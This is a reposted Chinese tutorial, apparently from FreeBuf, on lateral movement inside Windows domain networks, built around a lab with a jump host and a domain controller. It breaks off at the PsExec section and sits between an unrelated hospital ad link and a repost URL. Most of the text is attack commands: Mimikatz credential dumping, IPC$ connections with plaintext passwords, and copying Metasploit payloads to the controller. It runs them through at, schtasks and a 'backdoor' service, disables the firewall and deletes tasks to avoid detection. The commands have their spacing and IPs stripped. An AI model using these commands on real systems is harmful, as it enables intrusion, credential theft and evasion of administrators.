治白癜风那家医院最好 https://jbk.39.net/yiyuanzaixian/bjzkbdfyy/

转自freebuf

横向移动

在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围。通过此类手段,攻击者最终可能获得域控制器的访问权限,甚至完全控制基于Windows操作系统的整个内网环境,控制域环境下的全部机器。

在这篇文章中,我们来讲解一下横向移动的思路与攻击手法。

由于最近开学了有很多很多的事,所以一直没有时间更新,文章可能略显仓促,不足之处还请多多指教。

本文大多是我最近的学习总结,专为想我一样正在入门的小白准备,文章内容基础且丰富,对于下面所讲的每种攻击手法的具体详情,还请阅读我的相关文章。大佬路过还望多多点评!

在接下来的前几个实验中,我们以下面这个内网环境作为测试环境:

Windows7为跳板机

用户名:

douser密码:

Dotest

Windowsserver为域控(主机名:WIN-ENS2VR5TR3N)

用户名:

administrator

密码:

Liu

攻击者已经获得了Windows7的权限,想要以Windows7作为跳板机进一步渗透内网的Windowsserver,并且攻击者已经在跳板机上面通过socks代理等技术使自己可以访问到内网的Windowsserver。接下来,攻击者将以各种横向移动的方法尝试获得内网Windowsserver的控制权。

获取域内单机密码与Hash

在内网渗透中,很多横向移动的方法都需要攻击者先获取域用户的密码或者Hash值才能进行,比如哈希传递攻击、各种票据传递,还有黄金票据维持权限等等。

PwDump7工具

Pwdump7可以在CMD下提取出系统中的用户的密码hash(包括LM和NTLM),需要系统权限,“骨灰”级黑客玩家可能听说过这个玩具。通过Pwdump7提取出的HASH,可以用ophcrack等工具破出明文密码,对进一步渗透是有很大帮助的。

Mimikatz工具

Mimikatz是由法国人Benjamin开发的一款功能强大的轻量级调试工具,因功能强大,能够直接读取Windows操作系统的明文密码,因而闻名于渗透测试领域。通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点就是他可以直接从lsass.exe进程中获取当前登录系统用户名的密码。

Mimikatz读取明文密码和hash也时最常用的方法。需要管理员权限。

privilege::debug//提升至debug权限sekurlsa::logonpasswords//抓取密码

此部分的更多详情请看我的文章《内网横向移动研究:获取域内单机密码与Hash》

利用Windows远程连接命令进行横向渗透

在渗透测试中,拿到目标机器的用户明文密码或者NTLMHash后,可以用Windows自带的方法对远程目标系统进行命令行下的连接操作,连接远程主机并执行相关命令。也可以通过PTH的方法,将散列值或明文密码传递到目标机器中进行验证。

建立IPC连接

IPC(InternetProcessConnection)是NT的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。

通过ipc,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。

通过执行以下命令,我们可以让win7与DC建立IPC连接

netuse\\DC的IP\ipc"password"/user:"username"netuse\\...\ipc"Liu"/user:"administrator"netuse//查看当前主机所建立的连接

如上图,我们成功让win7与DC建立IPC连接,之后我们便可以通过win7访问目标机器DC中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令了。

如,我们列出DC上C盘的目录:

dir\\...\c

再如将文件复制到目标主机DC的C盘上面去:(在实战中,我们可以将木马程序复制到目标主机上去)

copyC:\Users\douser\Desktop\whoami.txt\\...\c

在使用netuse命令与远程主机建立ipc连接后,还可以使用tasklist命令的/S、/U、/P参数列出目标远程主机上运行的进程(可能有点慢)

/s:指要查看的远程系统的IP地址

/u:指定使用哪个用户执行这个远程命令

/p:指定该用户的密码

tasklist/S.../Uadministrator/Pliu

建立ipc连接的条件:

目标主机开启了和端口

目标主机管理员开启了ipc默认共享

在使用完ipc,命令如下:

netuse\\IP/del/y建立其他共享连接

除了IPC链接,我们还可以与目标主机的其他共享建立连接,比如建立c盘共享连接:

netuse\\...\c"Liu"/user:"administrator"

列出DC上C盘的目录:

但一般情况下,我们会建立IPC连接,因为利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。

利用Windows计划任务进行横向渗透利用at命令

at命令是Windows自带的用于创建计划任务的命令,但是他主要工作在WindowsServer之前版本的操作系统中。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。操作如下:

1.先与目标主机建立ipc连接。

2.再使用nettime命令确定目标主机DC的当前时间:

nettime\\...

3.然后使用copy命令远程操作,将metasploit生成的payload文件复制到目标系统C盘中:

copyshell.exe\\...\c

4.接着使用at命令创建计划任务,让目标主机DC在指定的时间运行metasploit木马程序:

at\\...18:53:00c:\shell.exe

如上图,成功在目标主机上创建了一个ID为1,在18:53:00执行shell.exe程序的计划任务

等到时间到达18:53:00时,目标主机上的木马程序shell.exe执行,攻击者主机上面的msfconsole上成功获得目标主机的meterpreter:

5.最后,我们使用完计划任务后,还需要将该计划任务删除,以免被网管理员发现:

at\\...1/delete//1为计划任务的ID

除了就像上面那样利用计划任务执行木马程序获得主机权限外,我们还可以利用at计划任务直接执行系统命令,但由于不会回显,所以我们要将执行的结果写入到一个文本文件中,然后远程读取:

at\\...17:05:00cmd.exe/c"ipconfigC:\Users\Administrator\result.txt"at\\...17:05:00cmd.exe/c"命令"目录\result.txt

然后用type命令远程读取该文本文件:

type\\...\c\Users\Administrator\result.txt

如上图所示,命令执行成功。

利用schtasks命令

上面我们讲了用at命令创建计划任务,但是该命令已经被WindowsVista、WindowsServer及之后版本的操作系统废弃了,代替他的是schtasks命命令。schtasks命令比at命令更为灵活、自由。下面来演示schtasks命令的使用,于是,攻击者开始使用schtasks命令来代替at命令。

利用schtasks命令创建计划任务进行横向移动的操作流程如下:

1.先与目标主机建立ipc连接。

2.然后使用copy命令远程操作,将metasploit生成的payload文件shell.exe复制到目标系统C盘中。

3.在目标主机DC上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的shell.exe,启动权限为system。命令如下:

schtasks/create/s.../tnbackdoor/scminute/mo1/trc:\shell.exe/rusystem/f

在没有建立ipc连接时,要加上/u和/p参数分别设置用户名和密码。

但也有些时候,由于当前权限或组策略设置等原因,该schtasks方法远程创建计划任务可能会报错拒绝访问:

遇到这种情况,我们可以加上/u和/p参数分别设置高权限用户名和密码,如下:

schtasks/create/s.../uadministrator/pLiu/tnbackdoor/scminute/mo1/trc:\shell.exe/rusystem/f

这样就行了:

4.然后执行如下命令立即运行该计划任务(也可以自己等一分钟):

schtasks/run/s.../i/tnbackdoor//i:忽略任何限制立即运行任务schtasks/run/s.../i/tnbackdoor/uadministrator/pLiu//遇到上面所说的报错时执行加上/u和/p参数分别设置高权限用户名和密码

计划任务成功执行后,攻击者msfconsole上面即可得到目标主机DC的meterpreter:

5.计划任务成功运行后,执行如下命令强制删除该计划任务:

schtasks/delete/s.../tn"backdoor"/f

除了就像上面那样利用计划任务执行木马程序获得主机权限外,我们还可以利用schtasks计划任务直接执行系统命令,但由于不会回显,所以我们要将执行的结果写入到一个文本文件中,然后利用type命令远程读取:

schtasks/create/s.../tntest/scminute/mo1/tr"C:\Windows\System32\cmd.exe/cwhoamiC:\Users\Administrator\result.txt"/rusystem/f

立即启动该计划任务:

schtasks/run/s.../i/tntest

最后利用type命令远程查看目标主机上的result.txt文件即可,如下图所示,命令执行成功:

注意:在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SchedLgU.txt。

创建Windows服务来进行横向渗透

使用条件:

当前跳板机用户具有管理员权限(因为要创建服务)。

与目标机器已经建立ipc连接

利用sc命令

在windows系统命令提示符中,有一个SC工具命令集。该工具集主要用来对操作系统服务进行管理,该命令是由service一词,简化而来的。我们可以用sc对目标主机远程创建服务来进行横向渗透

使用sc命令远程Windows服务操作需先建立IPC连接,否则在执行时会返回拒绝访问。流程基本如下:

1.先让跳板机与内网目标机DC建立ipc连接。

2.然后让跳板机使用copy命令远程操作,将metasploit生成的payload文件bind.exe复制到目标主机DC系统C盘中。

3.再在目标主机DC上创建一个名称为“backdoor”的服务。命令如下:

sc\\[主机名/IP]create[servicename]binpath="[path]"#创建计划任务启动程序sc\\WIN-ENS2VR5TR3Ncreatebindshellbinpath="c:\bind.exe"

注意这里的格式,“=”后面是必须空一格的,否则会出现错误。

4.立即启动该服务:

sc\\WIN-ENS2VR5TR3Nstartbindshell

执行后,msf成功上线域控:

5.使用完后删除刚才创建的服务

sc\\[host]delete[servicename]#删除服务

我们还可以通过设置服务来关闭防火墙:

sc\\WIN-ENS2VR5TR3Ncreateunablefirewallbinpath="netshadvfirewallsetallprofilesstateoff"sc\\WIN-ENS2VR5TR3Nstartunablefirewall利用PsExec工具进行横向渗透

测试环境如下:

如图中,右侧是一个内网环境,域名为god.org,有三台机器:Windows7(跳板机)、WindowsServer(DC)、WindowsServer。

WindowsServer(..52.)为域控制器(机器名为OWA),用户名为liukaifeng01,密码为Liufupeng。假设我们攻击者已经获得了Windows7(跳板机)域成员主机的控制权,需要进一步横向渗透去拿下内网的其他机器域控。

利用PsExec.exe工具

下载

转载请注明原文网址:http://www.kbgiw.com/kjschl/822342.html

------分隔线----------------------------